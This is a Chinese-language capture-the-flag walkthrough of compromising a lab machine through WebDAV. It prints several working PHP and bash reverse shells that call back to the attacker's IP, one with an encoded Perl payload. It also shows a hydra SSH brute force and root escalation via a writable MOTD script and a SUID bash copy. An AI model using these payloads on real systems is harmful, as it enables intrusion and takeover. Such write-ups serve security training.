服务探测

获取到creds.txt文件。
cat creds.txt | base64 -d
yamdoot:Swarg
经测试不是ssh账号。看一下http://192.168.30.138/webdav
基于Web的分布式编写和版本控制(英语:Web-based Distributed Authoring and Versioning,缩写:WebDAV)是超文本传输协议(HTTP)的扩展,有利于用户间协同编辑和管理存储在万维网服务器文档。
登录成功,但是当前目录下什么都没有。

找一下webdav漏洞吧。
使用cyberduck登录一下webdav客户端。
上传反弹shell脚本文件。shell.php这个用不了。
<?php
// 反弹 Shell (PHP)
// 仅用于合法授权的渗透测试和安全研究
set_time_limit(0);
$ip = '192.168.30.131'; #你的监听IP和端口,这里是我的kali的ip
$port = 4444;
if (($sock = @fsockopen($ip, $port, $errno, $errstr, 30)) === false) {
echo "无法连接到监听器。\n";
exit;
}
$proc = @proc_open('cmd.exe', array(
0 => $sock,
1 => $sock,
2 => $sock
), $pipes);
if (!is_resource($proc)) {
echo "无法打开进程。\n";
fclose($sock);
exit;
}
$status = proc_get_status($proc);
while ($status['running']) {
$status = proc_get_status($proc);
usleep(10000);
}
proc_close($proc);
fclose($sock);
?>

重写一个更强大的脚本。
GIF89a
<?php
// PHP 反弹 Shell - 具备多种执行方式和Base64编码
// 仅用于合法授权的渗透测试和安全研究
set_time_limit(0); // 设置脚本执行时间不限制
// ====== 配置你的监听器信息 ======
$yourip = "192.168.30.131"; // 替换为你的 Kali 或其他监听服务器的 IP 地址
$yourport = '4444'; // 替换为你设置的监听端口
// ==================================
// 获取命令的绝对路径,以提高兼容性
function which_cmd($cmd_name) {
$path = execute("which $cmd_name");
return (empty($path) ? $cmd_name : trim($path));
}
// 尝试多种方式执行系统命令
function execute($command) {
$result = '';
if (function_exists('exec')) {
@exec($command, $output);
$result = join("\n", $output);
} elseif (function_exists('shell_exec')) {
$result = @shell_exec($command);
} elseif (function_exists('system')) {
@ob_start();
@system($command);
$result = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($command);
$result = @ob_get_contents();
@ob_end_clean();
} elseif (is_resource($fp = @popen($command, "r"))) {
$result = '';
while (!@feof($fp)) {
$result .= @fread($fp, 1024);
}
@pclose($fp);
}
return $result;
}
// 创建文件并写入Base64解码后的内容
function create_file($filename, $encoded_content) {
if ($fp = @fopen($filename, 'w')) {
@fputs($fp, @base64_decode($encoded_content));
@fclose($fp);
return true;
}
return false;
}
// Base64 编码的 Perl 反弹 Shell 脚本
// 注意: 'lynx' 是一个占位符,实际连接后可运行任何命令
$perl_reverse_shell_b64 = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
// 将 Perl Shell 脚本写入 /tmp/.back_c 文件
$temp_file = '/tmp/.back_c';
if (create_file($temp_file, $perl_reverse_shell_b64)) {
// 赋予执行权限
execute("chmod +x $temp_file");
// 执行 Perl Shell,并传入 IP 和端口作为参数,& 让其在后台运行
$command = which_cmd('perl') . " $temp_file $yourip $yourport &";
$result = execute($command);
echo "尝试执行反弹Shell...\n";
// 可以在这里输出 $result 来查看执行信息,用于调试
// echo "<pre>$result</pre>";
} else {
echo "无法创建临时文件: $temp_file\n";
}
?>
kali开启监听。
socat file:`tty`,raw,echo=0 tcp-listen:4444
#或
nc -lvnp 4444
这里因为我的windows有火绒,脚本文件被删除了。就换了kali的cadaver工具,这是连接webdav服务的客户端。
davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:
davtest -url http://10.10.10.144/webdav -auth yamdoot:Swarg

上传文件。

python3 -c 'import pty; pty.spawn ("/bin/bash")' //交互式shell
export TERM=xterm //添加环境变量,使shell更加完整

三个版本的shell都用不了居然。shellmini.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.30.131/4444 0>&1'"); ?>
真要醉了,这还反弹不了,我要睡了。
发现是4444端口kali防火墙没开放,用443端口就好了。
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.30.131/443 0>&1'"); ?>
信息收集
当前是www-data用户。可登录用户有:
看到有历史命令文件。


查看了DavLock文件,然后到inferno用户目录下,果然提示是输入密码,应该是就是DavLock的内容。d4эh^

结果并不是。总之,d4эh^ 本身没有直接的意义,它只是一个被服务器随机生成的字符串,用来作为文件锁定的唯一 ID。
继续信息收集。
find / -perm -u=s -type f 2>/dev/null
cat /etc/crontab
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
可写文件中看了两个文件。
brainfuck解码&&ssh登录
hell.sh文件下是brainfuck加密。
cat hell.sh | hsbrainfuck
解密得到chitragupt。说这是通往地狱的高速公路。那么目前看来还有ssh用的上账号登录。
root
yamdoot
inferno
narak
hydra -L user.txt -p chitragupt -v 192.168.30.138 ssh

可以看到是inferno用户的ssh连接。
ssh inferno@192.168
提权信息收集
继续筛选可操作文件。
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

主要集中在inferno家目录和/etc/update-motd.d/下。

对比一下,家目录下的都为隐藏文件,而另一个目录下权限明显过泛。
update-motd.d目录提取
/etc/update-motd.d/ 是一个位于Linux 系统(尤其是Debian/Ubuntu 及其衍生发行版)中的目录,用于存放 动态生成登录消息(MOTD - Message Of The Day) 的脚本。当用户登录系统时,这些脚本会被按顺序执行,其输出内容会组合起来显示为一条欢迎信息或系统通知。

如何使用 /etc/update-motd.d/ 目录
-
创建脚本:
在该目录下创建以数字开头的文件,例如
10-my-script。数字前缀决定了脚本的执行顺序(数字越小,优先级越高)。 -
编写脚本内容:
脚本可以包含任何shell命令,用于收集和显示系统信息,例如系统负载、可用磁盘空间、用户数量等。
-
赋予执行权限:
为脚本赋予可执行权限,例如
chmod +x 10-my-script。 -
登录验证:
下次用户登录系统时,这些脚本会自动执行,并将输出的内容显示在登录提示符之前。
示例
创建一个名为 05-welcome 的脚本,用于显示欢迎信息:
代码
#!/bin/bash
echo "欢迎来到您的系统!"
echo "今天是个好日子!"
然后,通过 chmod +x 05-welcome 赋予执行权限即可。

写入成功。
接下来,优先使用数字小的,比如00-header。
echo "cp /bin/bash /tmp/rootbash" >> 00-header
echo "chmod +s /tmp/rootbash"
#or
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> 00-header
重新登录该用户来加载脚本。inferno:chitragupt

执行。

依旧是该用户????这是为什么
在 Bash shell 中,
-p选项非常关键,特别是在处理 SUID(Set User ID)程序时。为什么需要
-p?当你执行一个设置了 SUID 位的程序时,正常情况下,该程序会以文件所有者的权限(在本例中是
root)运行。但是,为了安全,Bash shell 在检测到自己是以 SUID 方式运行时,会自动丢弃这些特权。这意味着,即使你执行了
/tmp/pwnshell这个有 SUID 位的 shell,它也会立即将你的权限降回到普通用户,从而使提权失败。
-p选项就是用来告诉 Bash shell:“请保持特权!”
- -p 代表 privileged(特权)。
- 当你使用
/tmp/pwnshell -p运行 Bash 时,它会进入一个特殊的“特权模式”。在这个模式下,它会保留有效的 UID 和 GID,这意味着你的 shell 会继续以root权限运行,而不是降级到你的普通用户权限。简单来说:
- 没有
-p:bash会自动丢弃 root 权限,你仍然是普通用户。- 有了
-p:bash会保持 root 权限,你就成功提权了。这个
-p选项是一个很重要的安全特性,但攻击者也会利用它来绕过权限降级。在打靶场时,记住这个小技巧能帮你快速获得 root shell。
那么重新执行。
/tmp/rootbash -p

解释
id命令的输出
uid=1002(inferno): 这是你的实际用户 ID (Real User ID)。它代表了启动当前进程的原始用户,也就是你登录时的普通用户inferno。这个 ID 是不会改变的。gid=1002(inferno): 这是你的实际组 ID (Real Group ID)。它同样代表了你的原始用户所属的组inferno。euid=0(root): 这是你的有效用户 ID (Effective User ID)。这是系统用来检查你对文件或进程的权限时所使用的 ID。因为你成功提权了,你的有效用户 ID 变成了0,也就是root。egid=0(root): 这是你的有效组 ID (Effective Group ID)。同理,它也变成了0,也就是root。
成功。/root/root.txt拿到flag。
